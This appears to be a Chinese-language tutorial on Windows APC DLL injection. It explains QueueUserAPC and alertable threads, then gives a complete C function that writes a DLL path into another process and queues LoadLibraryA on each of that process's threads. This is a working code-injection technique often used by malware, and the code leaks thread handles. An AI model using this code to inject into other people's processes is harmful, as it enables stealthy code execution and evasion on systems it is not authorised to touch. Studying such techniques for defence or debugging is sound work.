原理介绍
APC(异步过程调用),指的是函数在特定的线程中被异步执行,在Windows系统中,APC是一种并发机制,用于异步IO或者定时器
每个线程都有自己的APC队列,使用QueueUserAPC函数可以把APC函数压入APC队列中去
当处于用户模式的APC被压入线程APC队列中,不会直接调用执行,除非该线程处于可通知的状态(当线程内部使用SleepEx、SignalObjectAndWait等函数把自己挂起时,进入可通知状态,APC队列函数开始执行)
QueueUserAPC API
DWORD
WINAPI
QueueUserAPC(
_In_ PAPCFUNC pfnAPC, //APC函数地址
_In_ HANDLE hThread, //线程句柄
_In_ ULONG_PTR dwData //APC函数参数
);
第1,3个参数分别是函数地址和参数地址,类似远程线程注入
不过APC注入的目标是目标进程的所有线程,当函数为LoadLibraryA,参数为dll路径时,只要有一个APC函数执行了,即可实现dll注入
实现思路
那么实现流程大概就是:
- 打开目标进程
- 获取LoadLibraryA的地址,向目标进程写入dll的路径
- 遍历线程,判断线程所属Pid,选择目标线程id,打开线程(THREAD_ALL_ACCESS权限)
- 调用QueueUserAPC API完成APC注入
- 关闭各种句柄
代码实现
BOOL APCInjectDLL(DWORD dwPid,char* pszDllName) {
//打开进程,获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);
if (hProcess == NULL) {
return FALSE;
}
//向目标进程申请空间写入dll全路径
int nSize = strlen(pszDllName);
LPVOID pDllAddr = VirtualAllocEx(hProcess,NULL,nSize,MEM_COMMIT,PAGE_READWRITE);
DWORD dwWrittenSize = 0;
WriteProcessMemory(hProcess,pDllAddr,pszDllName,nSize,&dwWrittenSize);
if (dwWrittenSize <= 0) {
return FALSE;
}
//获取LoadLibraryA的地址
HMODULE hMod = GetModuleHandleA("kernel32.dll");
PTHREAD_START_ROUTINE pFuncAddr = (PTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryA");
int a = GetLastError();
//创建线程快照
THREADENTRY32 te = { 0 };
te.dwSize = sizeof(te);
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
if (hSnap == INVALID_HANDLE_VALUE) {
return FALSE;
}
DWORD dwRet = 0;
HANDLE hThread = NULL;
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == dwPid) {
hThread = OpenThread(THREAD_ALL_ACCESS,FALSE,te.th32ThreadID);
if (hThread) {
dwRet = QueueUserAPC((PAPCFUNC)pFuncAddr,hThread,(ULONG_PTR)pDllAddr);
hThread = NULL;
}
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnap);
return TRUE;
}